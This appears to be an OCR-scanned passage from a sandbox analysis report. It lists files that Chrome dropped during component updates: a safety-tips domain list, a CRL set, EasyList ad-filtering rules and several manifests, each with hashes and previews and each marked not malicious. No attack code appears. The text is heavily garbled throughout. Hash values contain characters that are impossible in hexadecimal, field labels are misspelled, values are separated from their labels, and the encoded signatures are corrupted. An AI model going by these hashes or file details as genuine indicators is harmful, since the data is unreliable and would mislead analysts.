SHA1L: 963FC65EA78DFOF54638F3B04E3CA4D5C98CCCD1

SHA-256: AO0A2972E834AD2CIA6096605995401F61C5FD83019B4329DBAE374B99552C482

SHA-512: DE37AB28A1ECEAF9841DF2E01B1025575CF70BAD27F388D3A99C75BAAE378D22F9B17C407FB07C1972E825AA16ADEE83D3185A5F972B8D389E521ACBD71BF
F6B

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siY mxvY 2tfc216ZSI6ENDA5NiwiZGInZXNOljoic2hhMju2liwiZmIsZXMiO

[t7InBhdGgiOiJtY W5pZmVzdC5qc29uliwicm9vdF90Y XNoljoiRTZiVUVUENKMm1DajZPZ2JtUVhpeHQOeVZCTWILVTItUUtXSzZRSUNRXWSJILHsicGF0aCl6InNhZmV
0eV90axBzLnBiliwicm9vdF90YXNoljoiQ3NhYVhPcjBZX1plaHVDLVF6EbIItWUg2RGZtTFARVNhkSE5LeURMRI1VeyJIXSwiZm9ybWFOljoidHIIZWhhc2giLCJoY XNoX
2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRIbVIpZCl6impmbG9va2dua2Nja2hvY mFnbG5kaWNuYmJInYm9uZWdkliwiaXRIbV92ZXJzaW9uljoiMjgyOClsInByb3RvY29sX3Z
lcnNpb24i0jF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"JINRNDnv7qyVxhgNWGt_82YSAZiiiCSHkBnapgZdIiML
sXY915¢Y8ItylEF5ifQMIUaFOZm3ihqvF8hbtxeiyBct0S3xS-fDvagWKO0X3VaCd52QBLnMvLoeWeXqCAn_r61fbyhe67k3JJjad7j9tf7ZEC820vhpGIUIUKIZrMKpvM7
loSmmzzoonnY Zyotx-yuYN6tOjZy70vjyFYjEvI41sC2h7zKOtAwWFb57c7-iMxibu3SrOc6jXqV_MAWUs_wAGSsr29KPBJJES_IJEEw7tZgaJRfIV_EU_T70bT9JVG-PXk
uZF3apPbm3FxDWCzIfp_f7vPR43mCynKTiWjq8tFieeLdqKISI

C:\Users\user\AppData\Local\Temp\6008_1693209245\ manifest.fingerprint

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit):  3.8717070518796812

Encrypted: false

SSDEEP: 3:SQOOUfKPdUHNAQ+c1gSbEWE:SQO7fKIUH1+sgaEWE

MD5: FA2A4EE14F15EB9863C8E034FCBFB40F

SHA1L: 9742BD9FA88512EC2CD9A2AADDC352F83BDE6G30E

SHA-256: 6F2D2263F64FOACDB75F97FF713D28F461CF203B6C9D88D183F7BFB14B89D278

SHA-512: 0061B3400318FAF2FA026519857A47320BB56763C080CB264C8C60C62BEACF865058227B1693D5F106D275E1619C402F8BDB412EC37054C403FBD72E66D6FB70
Malicious: false

Preview: 1.5f4c23c3d3c1bc81bc88d68363eccd22e755f6¢651c8947afad8fh6210d0223a

C:\Users\user\AppData\Local\Temp\6008_1693209245\manifest.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 169

Entropy (8bit):  4.4285400488834386

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFTUAh/KS1nHhxEeSWU4pv/8F/FXLj2RF2fcTZTotL:F6VIMVUAJKS1wWfBONpK4aotL
MDS5: 3BF4F6DBDADOC7E37B75D46B12CA77EB

SHAL: 496FE9BC6EEDC57E2EB427DEEC74818E6B5185EA
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SHA-256:

SHA-512:

Malicious:

Preview:

13A6D413F3C22769828FA3A06E64178B1B78C9504C98A536F902962B8451B6A6

7D70D959A41A8B6E579CC57A1EFD326643EFOD7460010DF99B6531BBFDASB38DE01C984F1AC70C9C0868B69A2CES96CEAEDCABEG2ES7A64CF88BA1796624C
FO3
false

{. "manifest_version": 2,. "name": "safetyTips",. "version": "2828",. "imageName": "image.squash",. "squash": true,. "fsType": "squashfs",. "isRemovable": false.}

C:\Users\user\AppData\Local\Temp\6008_1693209245\safety_tips.pb

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

64263

5.081342414532969

false

1536:erqi8cLbVgPINW1Ad/8JrFUgZeBHXT1vodvB:erDxbVPM8JIrFUPdxTlyB
AD4A969EFAFBOCCI6BDIAASEE3E61814
4B569348F067E24824144D86E331199DE826B828
AB89523107A63CAF8FC43B2B6505061A7844F08E33290B191444E3B9169534C3E

4BCDAB78DC951B9BE8739D9DBF65E54F40BEG8FAA91560EDA9B35CD673700BASE33F25AB1619CD043891B541D3DF76599D9F728CDB94E76A694649682836DC
C

false

...... badssl.com/test/safety-tips/......04porn.com/....05520online.com/....05542online.com/....10-minuten-lohnabrechnung.de/....100-years-krohne.com/....1000-slow.pl/....
100000arbres-lavoixdunord.fr/....1000slow.pl/....100mon.jp/....10mon.jp/....12-minuten-lohnabrechnung.de/....123movies.haus/....1300numbersaustralia.com.au/....
1800numbersaustralia.com.au/....1prospekte.de/....1v1-lol.com/....20bet.com/....22bet.com/....2ch-2.net/....2ch-c.net/....2shared.com/....397bets10.com/....3boptic.com.ar
/....3cx.net/....3dcartstores.com/....3october.nl/....3oktober.nl/....3stars-life.stores.jp/....41tube.com/....43sports.io/....47sports.io/....4archive.org/....4service-group.at/..
..567livel.com/....567lives.com/....6-chome-kanimitsu.com/....733sm.com/....753753-3.com/....753753-s.com/....773sm.com/....a-coca.com/....a-comics.ru/....a-krediet.nl/..
..a-office.com.ua/....allworld.cards/....aacreation.in/....aacreations.in/....abcnews.com/....abcreativex.com/....abicreativex.com/....abo-ecole-edigr

C:\Users\user\AppData\Local\Temp\6008_1846426195\LICENSE

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

1558

5.11458514637545

false
48:0BOCrYJ4rYJVwUCLHDyY43HV713XEyMmZ3teTHn:LCrYJ4rYJVWUCHZ3Z13XtdUTH
EE002CB9E51BB8DFA89640A406A1090A
49EE3AD535947D8821FFDEB67FFCIBC37D1EBBB2
3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A558

D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF91
7C

false

/I Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided
that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright./ notice, this list of conditions and the following disclaimer..//
* Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other
materials provided with the.// distribution..//  * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived
from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR.// A PARTICULAR

C:\Users\user\AppData\Local\Temp\6008_1846426195\_metadata\verified_contents.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

1511

5.980894657557356

false
24:pZRj/fITU3YNnd9joYVO7aoXjbFpi978oUmxtVchoXUbaPfPmaiDsYbxvrGDE9vVG:p/hUInS7ak/Fg979x3KkwaPnmnbxvrd8
AE1894460A5548422C29BB4B878A2108

30B2A370D0A6759D5253EF481F7975EFE2B5A5B6

C9D0180976BD4E82F55F509815616D469E2956 CE8A3007ED9ADGE85496E78C7BD
441E12D5A28FFA85904748A4104D9773B2391A9D9BF94815B2D6B2D29250461A2DD8D4B84777F2399FAEEDO05D1F050F33DCOFB225F0EB80A295FE7251DF611/4

false
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Preview:

[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siYmxvY 2tfc216ZSIGNDA5NiwiZGInZXNOljoic2hhMjU2liwiZmIsZXMiO
[t7InBhdGgiOiJMSUNFTINFliwicm9vdF9oY XNoljoiUGIwc2tBVUxaUzFqWIdTQnctVOhIRKItRIVCEXiZDIUcVkwR2ZHSHBWcyJILHsicGF0aCI6ImNybC1zZXQiLCJ
yb290X2hhc2giOil4eVIKWVVgN1NDc2g4ZW13cm03SFBRWGRIQjZIMkp4RkNBalhzZ1ltYUM4InOseyJwY XRoljoibWFuaWZlc3QuanNvbilsinJvb3RfaGFzaCl6Imwya
3NMNkhJSHJ0oX3BHMNISAdWImMODhramhZQVhrX0s0cmNUVzdXX0xXUVkifV0simZvem1hdCI6InRyZWVoY XNoliwiaGFzaF9ibG9jal9zaXplljoOMDk2fV0sImI0ZW1faWwQ
i0iJoZm5rcGltbGhoZ2llYWRkKZ2ZIbWpob2ZtZmJsbW5pYilsiml0ZW1fdmVyc2Ivbil61jiczOTkiLCIwecm90b2NvbF92ZXJzaW9uljoxfQ","signatures":[{"header":{"kid":
"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"LnTmkn5P-yfZOKm7K9d2vwXTIng9Y YkUmtITV83PN5a0MUWuUW5i2Jax4HOUKwxSN14p8H
NNWMdLRpTw6PIC2JQwO6Hidk_AZmdnsMggqLWcRBXI0DUkdnBDk8aVhpGsldg3PFiGIOEzPI9MY6KHPZwP5YvGwk_7fxWFbRsfUhxTdSZjadZRRJIwllyzXq
ZBvkKpA9006hgqGMR2jZFcfHVFerovnbhleQ3wRLkJA5VBdPOqdOPfY7NV31F59veysGaoE

C:\Users\user\AppData\Local\Temp\6008_1846426195\crl-set

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

22050

7.8325376393512185

false
384:9g26XPKhMeW3UMWVPHc4m8eWDztoBWbv4g5bk8QzsvFUtrdG9htt/HDsJIBr:gfzX4V/JYWntoEv4Kk8SgUrdG/Ps
F3B079COCA95EFABIBD8F111BA7745F8

DB37B45E1B4B1F355D6367CB494771BBABCE41D7
CO040F43ED1F970F54F9B2DF991943B29B70B44AE1C52BC7011D8504D6A7276C8
5E3570393C6248C281021253C59A03D4C1046A81B0568B67C1B8EF9DD5BAD73785DFBF44BB71180644B7590B5D36116732341605EFAFB8471B8E34EAFFC5F21E
false

"{"Version":0,"ContentType":"CRLSet","Sequence":7399,"DeltaFrom":0,"NumParents":188,"BlockedSPKIs":["JdoalYu/z7In2HI7 GFfUwY57qnQXtPnv+TZrXoafizk=","|
i5LVLUYp+5dX+uWM/mR08MwDpUU2t57DU+CjHIPjoc=","yP3cdcsb27WMB7TghHKH9iZIndZrwQomrdm1dbOgo40=","BN3pgpp59hSYaCMI+ghwJ2cH+5y
pU4QSC0aJMmhJT8k=","tbgN1/iVZMKInT1kU8hImMd4JIGbZOoINapimGWRVIA=","wO0gU0a7veButWD1zuAgNjTiROp+ds+PvvVjuxF90OM=","eBpM8ukkUvPuAdDD
gaQhTzkEFIW5CtvWHB0RJE4Jstw=","/NdsyiNH5c1bOTR/Uc9DZUtpor/JBzZwpr5H2HAebg4=","lo26afv/Fb83YgiUMa3Ip+rUt+rxvnACaBC8VIHGT24=""fNKVt1VEgIq9IAl
Gbwg3xarcAuM7YVDGZE3goJZZ8jw=","9Sk9R+041MMbLULe47WzrOl8omyirANI42Iu6AITH7s=","nFmjzK6kaZhCsGjPxSz5RAtRmGIXyDLNsYynOEn7ue4=","OUz/
WJ50kxLPWHHUCBGf5MYGIWzIQOKd5tti5C2708E=","NugWEoyJg5+2lfitDh7guclgh2Kre02ixnZYk8m3ztl=","pqyh7JgJzFtlIf+dKcXr5IGWC5Gx8ZzIm 1Xvh4GKIQk=","MO/
kE4JHbDOAB8C9+I+ZrovhnsFnuHgaHIrRBuFtdEIY=","r1kVGOLmxg67/AkHr6pJvVEBR1F5/1Uq/7nUS7gD2Ye0=","6EnHF2yT32X2S2FpgjZuVmMReBK2+ivAyPqK6u5
Bgcw=","0x7DkoW3pTGdAVfbQg7YfHQ+Mzu8d/h3H3BGTONqQYEK=","h7/Yr

C:\Users\user\AppData\Local\Temp\6008_1846426195\manifest.fingerprint

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

66

3.9161898101936363

false

3:SF1LziBzJ7+WAGSEXVPUzcl:SF1aF8ms+VPUq
8196DCA12FDBBC1906749D0C52D1F167
FDBC53CD96B5261049D4FAD5361D9BE26315DD4C
EOD5820AC8B8E09C435521EF20AD326BCB3D1AADD7748B07477E8B7AE062DDD1

6932061917852AFEF63F298F124DBD5BA72D166DESBF75ECB29BFC3D2C5B78E1DEE726FDF8B4D70396869FFBDA5SEAB28E1ES5220857B878A100EA39E953803F¢
6

false

1.cc3fc6549f2efa05b39fdfb2f048013ec8cceda20eeeal226921a4907c7a6ed0

C:\Users\user\AppData\Local\Temp\6008_1846426195\manifest.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

191

4.761465167309917

false
3:rR6TAulhFphifFJstlOZMyKFgS1zJJEeSWU4pv/8F/FXLj2RF2fcTZTotL:F6VIMSOZMO0S10WfBONpK4aotL
C5ECAE35C9CF16CD150A8DF1597D819F

D429CED5549336131936BF984E068A77336CC883
97692C2FA1C81EB87FA46DB246E89FF3C92385801793F2B8ADC4D6EDGFCB5906
28E97E52DE234DFD5D7C385FA18C3504723A8C72DB54861831C58584E6713430D5D1576666A570951C298CESC2E73F515C866B826297B7148374479A5650A96F
false

{. "manifest_version": 2,. "name": "crl-set-4952989442208947253.data",. "version": "7399",. "imageName": "image.squash”,. "squash": true,. "fsType": "squashfs",. "
isRemovable": false.}
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C:\Users\user\AppData\Local\Temp\6008_1914734327\ _metadata\verified_contents.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 1770

Entropy (8bit):  6.021316461962017

Encrypted: false

SSDEEP: 48:p/h1WgAdJkakmftuCkYzNasTOskCw4fNpt:R/QCavFa+Aovrt

MD5: 7D6EDE6FI6A0B67B0B65B7FE4DOBD8CE

SHAL: 32819342DE1353DD7B7C2277132A2C8AC713B027

SHA-256: AFAD87D6408424912274B737E10ACDO9FF47EFFAC7CODFF3A658BE32AD8ESLES

SHA-512: 2FCAD2E981C56BBF2794CBC9A419E34A67D63E5D1C8D5A1FDAC26A8EFC748F28875EE7883E8A6806B1A436DD72FBAA4015A43CA43A13DDBA53079CD24547F
86

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siYmxvY 2tfc216 ZSIENDA5NiwiZGInZXNOljoic2hhMjU2liwiZmlIsZXMiO

[t7InBhdGgiOiJtY W5pZmVzdC5qc29uliwicm9vdF9oY XNoljoiY3F2TIBrVVheU2ESNUMxeXpZVERad TITRHhhTjdNMEFXWS1TR1IrZIkwVSJ9LHsicGFOaCI6Im1vZHV
sZV9saXN0X3Byb3Rvliwicm9vdF90YXNoljoiSzZOVTZILU50azlzcGec1V01GVnVRcjZKbVJIneklja3dMZzVHVOdBYkwxMCJ9XSwiZm9ybWFOljoidHIIZWhhc2giLCJoY
XN0X2Jsh2NrX3NpemUiOjQwOTZ9XSwiaXRIbV9pZCl6imVoz2lkcG5kY mxsYWNwamFsa2lpbWtiYWRnamZubmljliwiaXRIbV92ZXJzaW9uljoiMjAxOC44LjguMClsIinB
yb3RvY29sX3ZlcnNpb24i0OjF9","signatures”:[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"fDxxNvHaqyhoShwdeGpUS5F0GxOrj3b
fBznLiYGmMP62C40RY-V{319J6_nzcQ6SPRe8CpJfIAGD5eSQnbtsh6prHKZ20YOLcKarpvQGVISOWLIZ4hrTUsAqVmMWON8cTv7jo3cXkGg8IWdI8tj5yjrAE09XLSitPId
L_xmJIRSdEZfVpvFKgRbWTUr_5SSvZbny_8niCUUOADpas1X3uXPW-sT0jXotiwzvJgnM3rKiHr3Tsnira9E7iFZcB5JatGIwVnMnoDSfXkNhQxulYAAYeBRKNIEV3XAEL
EBtmBLDHy33DJlihci-SIrx2j_afRk1_zi6JUH3GA60P6GED6N

C:\Users\user\AppData\Local\Temp\6008_1914734327\manifest.fingerprint

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit):  3.872935977280404

Encrypted: false

SSDEEP: 3:SO0bEVMgCVQD5mhG8d6+qGn:SGIQUhG8Im

MD5: A43371DACA3F176ED5A048BC5E2899B1

SHA1L: 32FCOA9ECB568BDF3CE13F9EA17E827A900EDB42

SHA-256: 736DB43A7CCB37136CAEFFOB80670BD76BFE528203856CB19CB6C3D161B48F9C

SHA-512: 8754C5D823A9EED2749852B37084F5ED14176B6CB74D946CA3F152DD91F2C03CC4457F1CA0219D883522C7213C4CD04FCD2E33BBB31C7F7EBD6968CEE35AF!
1

Malicious: false

Preview: 1.a8a79d350c2a5e3bc36226633a8e0bed0dfab184e77f38fc8f0820ebacf8eafc

C:\Users\user\AppData\Local\Temp\6008_1914734327\manifest.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 95

Entropy (8bit):  4.62652268830492

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFGIB+EB8KB8JIMsdFKS1SHJY:F6VIMtB+vKaMsdgS1SHW

MD5: 713CD498ACBE38CCD3A83F9ACBAB4AL8

SHAL: 20D43E9E26EB68915062A9EF1686C8C5AE232B54

SHA-256: 72ABCD3E4517CD26BDE42D72CD84C366ED920F168DECCD00598F9219891F6345

SHA-512: 8AA869CICCBA7EE4161E8DASE7CEC11DDBB99218120A59690E23AC545A41D20DD7E6F91CECB2A91F3DBF5132DC90D316ADBC9835973DA556E5DDB55E3D52
230

Malicious: false

Preview: {. "manifest_version": 2,. "name": "win_third_party_module_list",. "version": "2018.8.8.0".}

C:\Users\user\AppData\Local\Temp\6008_1914734327\module_list_proto

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 2120

Entropy (8bit): 7.424032397848591
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Encrypted: false

SSDEEP: 48:aCj9pJzvkuunjkEoidhC3VgUMeGcYngj+oLi+:aCj9funjMfgPcuoLi+

MD5: 9E7D797CC67A0142F6CB3844B04D4851

SHA1L: 9CE8BA316A8A6A41670F4F18C0B24569855B9C47B

SHA-256: 2BAB54E87F8D864F6CAG0ES5630556E42BE8999183331C9302E0E465860152F5D

SHA-512: 57757C7080F87AB982B1A7ACD25E666AF86DD4EB235726D79EDC4A931BIF0968A76E448B773C18BFFEE887B4A065FE7C7A44E316B72F5775459309B99918FAFI

Malicious: false

Preview: e P.m."8.. ...... N - 9G.|%.CW&7..w.9.. X........ Jovoes ‘DJZ...... . K3".h.....3l.......*.<.H&..0g.?....... H\:..P&j........ @....08....l....... Y= KH..E....LN<
CGALLgw...8d.....%@....... gP.4<..8..}?2..2...v.Ti&.6. Z.Q.<....C..v.JA....T..)\I;...D e T.@)b.z@QO. L. Mho w7 .B...P5.>..3.._....k|..c..
J.0..Sfs,.....N..&F<C._\.8.Y......... 29....+.a$/T.1....p.6...._...@".Q.. SC....L......1.8..V3..........0.>0_8..... 8.4..P,V.$. ....0k

...D.x..(.3k+m..Ig.?.....s\e+...6¢C.....).. Ee(oe 0%..Fi... QX . t..... L. E. V... Vereoen RV >R LEFdin eQA>} t+..>.
LB WL 203 ML MIBLufL b (st

C:\Users\user\AppData\Local\Temp\6008_2054561844\Filtering Rules

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 97968

Entropy (8bit):  5.489893397464442

Encrypted: false

SSDEEP: 1536:0jHIFMIw9il9Yh9FHc6cPC3CpBHTrD0630a8Q78xRAQUADVANZ/p2GuN+BO1:6FMJIwI9v9efHc6cPCURDR30EYNAQUJANW

MD5: 3846A25BC9191585763E06550798BAB1

SHA1L: F43D903B13AB969E2276E304795CE164F22F893C

SHA-256: C7D5D133E8F995D3E4D5B68F28BEOD7B1F290DFBD1502E0EC260142325FA8F88

SHA-512: 6B1E1776DE4B4B7D7BD7E6252F555AD84CC689EFE1F3920B3ACFE23DE65212254FC219E0A530037A5EA819894BC2F5B85ECFCOADDEESAF3163393AA32F97B/
44

Malicious: false

Preview:

)bancodevenezuela.com/imagenes/publicidad!.......... 0.8.@.R..adbutler-....
pers.google.com/google-ads/.-........ *...konograma.com..0.8.@.R./adserver.
........ 0.8.@.R.indoleads.com”.%......0.8.@.R.discordapp.com/banners/.E..
pi/internal/ #........0.8.@.R.broadstreetads.com”.......... 0.8.@.R./banner.cgi

C:\Users\user\AppData\Local\Temp\6008_2054561844\LICENSE.txt

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 24623

Entropy (8bit):  4.588307081140814

Encrypted: false

SSDEEP: 384:mvabsf5dXrCN7tnBxpxkepTazazijFgZk231Py9zD6WApYbmO:mvagXreRnTqzazWgjoveXqD

MD5: D33AAA5246E1CEO0A94FA15BA0C407AE2

SHA1L: 11D197ACB61361657D638154A9416DC3249ECIFB

SHA-256: 1D4FF95CE9C6E21FE4A4FF3B41E7AODF88638DD449D909A7B46974D3DFAB7311

SHA-512: 98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EES971817B7BBB612A034C746C2D81AES8FDF6873129256A89AA8BB7456022246DC4515BAAE2454E
Malicious: false

Preview: EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General..

Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later
version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source
of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but
not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be
granted by the.. respective copyright holders to authorise the use of their material....... Creative Commons Attribut

C:\Users\user\AppData\Local\Temp\6008_2054561844\_metadata\verified_contents.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 1529

Entropy (8bit): 5.993915630498445

Encrypted: false
SSDEEP: 24:pZRj/fITHYfcl5kYbKgLjeT3azkaoX1pF/kSYYRVHbo0doXxOB6G6QL3foQ3QL5D:p/h4EIBbKdTakaklpFcSfRV700dkx8L4
MDS5: 6B2EDD2D0C16E5D77BD2C3E4AE88CI5F
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SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

BC82982FABA04FAGFDI9F17DA03D443A57E0F78D4
CAOF5F75FC56FBEDA7522B2C83707A451D01760F417C497A37C70554E290B737

533026A33030795ABF24B6E78D26763734D98CA74BFA4FAC2073EFADOBB5CA1C38E7036BEAF17E6ABBFES6CF968ES8O0EB3CA3CFD23AEEC10CE1280E8DB1C4(
78C

false

[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siYmxvY 2tfc216ZSIENDA5NiwiZGInZXNOljoic2hhMjU2liwiZmIsZXMiO
[t7InBhdGgiOiJGawx0ZXJIpbmcgUnVsZXMiLCJIyb290X2hhc2giOiJMTFIOXONKWWRYUnpMSHJIBZ3hmUWS5tcENTaXIkWEtzVVIIZnZjLTROczRBINOseyJwYXRoljoi TEI
DRUS5TRS50eHQILCJyb290X2hhc2giOilyaWswNmkOTFICAVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVKOTGtzRFJJIn0seyJwY XRoljoibWFuaWZlc3QuanNvbilsindvb
3RfaGFzaCl6lmo4MmhRZGhaaOMwMjFWOEZ1MHUtMEXvMnVJdXI5SzdFem5JcHE3WHd2YIkifVOsimZvem1hdCl6InRyZWVoY XNoliwiaGFzaF9ibG9jal19zaXplljoOMDk
2fV0sImI0ZW1faWwQiOiJnY21qa21nZGxnbmtrY29jbW9lawlpbmFpamltam5paSIisiml0ZW1fdmVyc2lvbil6ljkuMzYuMClsinByb3RvY29sX3ZIcnNpb24iOjF9", "signatures":
[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"VM_rlIAluXuXjbhz_uzZ8uQp9F3FfgEgGTjCXL08Q_jrGXXH-YtylDgAw4yzWsadeOjVRozUf
_7kBrYJ2usY8slircdLRbrgJejQeyyrIx4HFT8qgZEb60YHdsOd76C57YzF5dXErpjT7_FKWA41ITXLQvVdWbACMOODE7uOHO9IMZXx5pM9I8NI9GSM_yxJbRSyD
ZWa8BdPHErfMuO6YE6D8tbnY Tr2tXcMV9p2ZEAFMiso2B-6DSr

C:\Users\user\AppData\Local\Temp\6008_2054561844\manifest.fingerprint

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

66

3.9458563396006063

false

3:SWIBBTGVN1VJI8U1IhRGGpWdTASATN:SWNT+eKhRR4dTVT
991F44CE02222E783A1FEFE4187727CE
9855D1CA0338ADCD5829C3260BF7FAAF88A23509
58704ADE087671AA1226BCICEC1719F5B80BI0C571EF747812A64458BBEAOF50

C2616426939B235620A22B24A9BEC6D4F7DBB695C812F1784A4C95B41E53A21F371A6C440177CFABDE47E203EB83269F9013FC75C6D758EAGFDFE7B52B4A554
E

false

1.34ff2e9d7a7ce81c5d760d4b0f4b59a0237dd5db0d1e84ccd5103a30687eacl?

C:\Users\user\AppData\Local\Temp\6008_2054561844\manifest.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

115

4.563301657145084

false

3:rR6TAUlhFphifFHXG7LGMdv5HCcDKhtUIKS1Avn:F6VIMZWUMtSSKPS1Avn
47B89067C397B3EABBDO4EGFC4008B71
7B4E623806D7EA8BFCD2FE6836A21E50C9F9340E
8FCDA141D859902D36D55F05BB4BBEDOBA36B88BABF4AEC4CE7229ABB5FOBDB6

FDALCESEB24A05F65E8132248EEF96C422E5AA2D3254B590FBFD3FCB2016E3B7F6E4B53702D88E1695D4BEC0175F72EB4256CDAA2FF72DDF4390D480D04BA!
73

false

{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. “ruleset_format": 1,. "version": "9.36.0".}.

C:\Users\user\AppData\Local\Temp\6008_2142786305\_metadata\verified_contents.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

3034

5.876664552417901

false

48:p/hEc9q0S+UTKYM43z8ngMsfWRUWEADM/WIn7lgFkakzcVTGkeY TPi6zM:RGeg5z/jjjHgUnV278+aWLy4
8B6C3E16DFBF5FD1C9AC2267801DB38E

F5CADC5914DF858C96C189B092BC89C29407BBAA
FD986A547D9585E98F451B87CA85DEB4B61EE540C6FAC678D7BEDABF04653095

37048EF8FADF62A26 CAEC6EEQ0AC192429AB1E99424E5C68FACA90CODAD68642C761FDCACO3FC38FA930841F91FA145A6943ECTF168D4F2FA426F1F092C2FE
02

false
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Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siYmxvY 2tfc216ZSIGNDA5NiwiZGInZXNOljoic2hhMjU2liwiZmIsZXMiO
[t7InBhdGgiOiJfcGxhdGZvem1fc3BlY2ImaWMveDg2XzYOL3BuYWNsX3B1YmxpY 19wbmFjbF9qc29uliwicm9vdF90YXNoljoiVKNUSHNJIVHNUSXVncWNhV2ctWHVpTUL
sdWIoV1FSTE1sQnpTTGprdGhETSJ9LHsicGF0aCl6l19wbGF0Zm9ybV9zcGVjaWZpYy940DZNjQvcG5hY 2xfcHVibGIjX3g4NI82NF9jcnRiZWdpbl9mb3JfZWhfbyls|
nJvb3RfaGFzaCl6imxINWt2alBvSVZZczZKVHhyOHc5Q2MxXzloVEJCX3IVSIF6VDZseVVNdOkifSx7InBhdGgiOiJfcGxhdGZvem1fc3BlY2ImaWMveDg2XzYOL3BuYWN
sX3B1YmxpY1940DZfNjRfY3J0YmVnaW5fbylsinJvb3RfaGFzaCl6lkVuLVFQTWI1HUmM1xbG9Ud1gzOTAzckpsMkwOR25sQmdET1FhZINKaHJ4NKOifSx7InBhdGgiOiJfc
